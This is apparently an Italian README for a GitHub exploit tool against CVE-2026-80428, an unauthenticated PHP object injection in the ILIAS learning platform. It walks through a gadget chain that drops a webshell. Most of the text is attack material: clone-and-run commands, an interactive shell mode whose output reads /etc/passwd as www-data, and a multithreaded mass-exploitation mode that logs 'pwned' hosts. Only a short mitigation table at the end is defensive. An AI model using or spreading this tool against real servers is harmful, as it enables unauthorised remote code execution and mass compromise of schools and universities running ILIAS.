
ILIAS ≤ 9.21 / 10.9 / 11.2 — Iniezione di oggetti PHP non autenticata (RCE)
CVE-2026-80428Vettore: Endpoint di logout back-channel Shibboleth
Impatto: Esecuzione di codice remoto completa come utente del web server
Gravità: 🔴 CRITICA
CVE-2026-80428 è una vulnerabilità critica di PHP Object Injection non autenticata che interessa il Learning Management System ILIAS. Concatenando una primitiva di session poisoning in
ltiauth.phpcon una chiamataunserialize()non sicura inshib_logout.php, un attaccante può ottenere una scrittura arbitraria di file e infine l'Esecuzione di Codice Remoto (RCE) — il tutto senza autenticazione.
| 🎯 Parametro | 📋 Valore |
|---|---|
| CVE ID | CVE-2026-80428 |
| Tipo | PHP Object Injection → RCE |
| Autenticazione richiesta | ❌ Nessuna |
| Vettore di attacco | Rete (HTTP/HTTPS) |
| Punteggio CVSS | 9.8 (Critico) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Procedura passo-passo:
ltiauth.php memorizza un payload serializzato all'interno della sessione PHP senza validazione.shib_logout.php elabora una richiesta SOAP Shibboleth LogoutNotification appositamente costruita e chiama unserialize() sui dati della sessione.GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() per rilasciare una webshell PHP in un percorso controllato dall'attaccante.| 🏷️ Ramo | ❌ Vulnerabile | ✅ Corretto |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Principali
|
💎 Comodità d'uso
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Requisiti:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Opzioni:
| Flag | Descrizione | Predefinito |
|---|---|---|
--port | Porta di destinazione | 443 |
--path | Docroot di ILIAS su disco | /var/www/ilias/public |
--host-header | Header Host personalizzato | — |
--timeout | Timeout della richiesta (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Opzioni:
| Flag | Descrizione | Predefinito |
|---|---|---|
-l, --list | Obbligatorio — File della lista dei target | — |
-t, --threads | Worker concorrenti | 20 |
-o, --output | File di output per i target vulnerabili | ilias_vuln.txt |
--path | Docroot di ILIAS | /var/www/ilias/public |
--host-header | Header Host personalizzato | — |
--timeout | Timeout della richiesta (s) | 30 |
Crea un file targets.txt:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Formati supportati:
hosthost:porthttp://hosthttps://host:porthost/path (percorso rimosso) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Per difensori e amministratori di sistema:
| 🛠️ Azione | 📝 Dettagli |
|---|---|
| 🔼 Aggiornare ILIAS | 9.22 / 10.10 / 11.3 o versioni successive |
| 🚫 Disabilitare Shibboleth | Se non utilizzato — rimuovere shib_logout.php |
| 🧱 Regole WAF | Bloccare payload SOAP LogoutNotification malformati |
| 📂 Limitare l'accesso in scrittura | La web root non dovrebbe essere scrivibile da www-data |
| 🔍 Monitorare | Cercare file .php inattesi nelle directory upload/cache |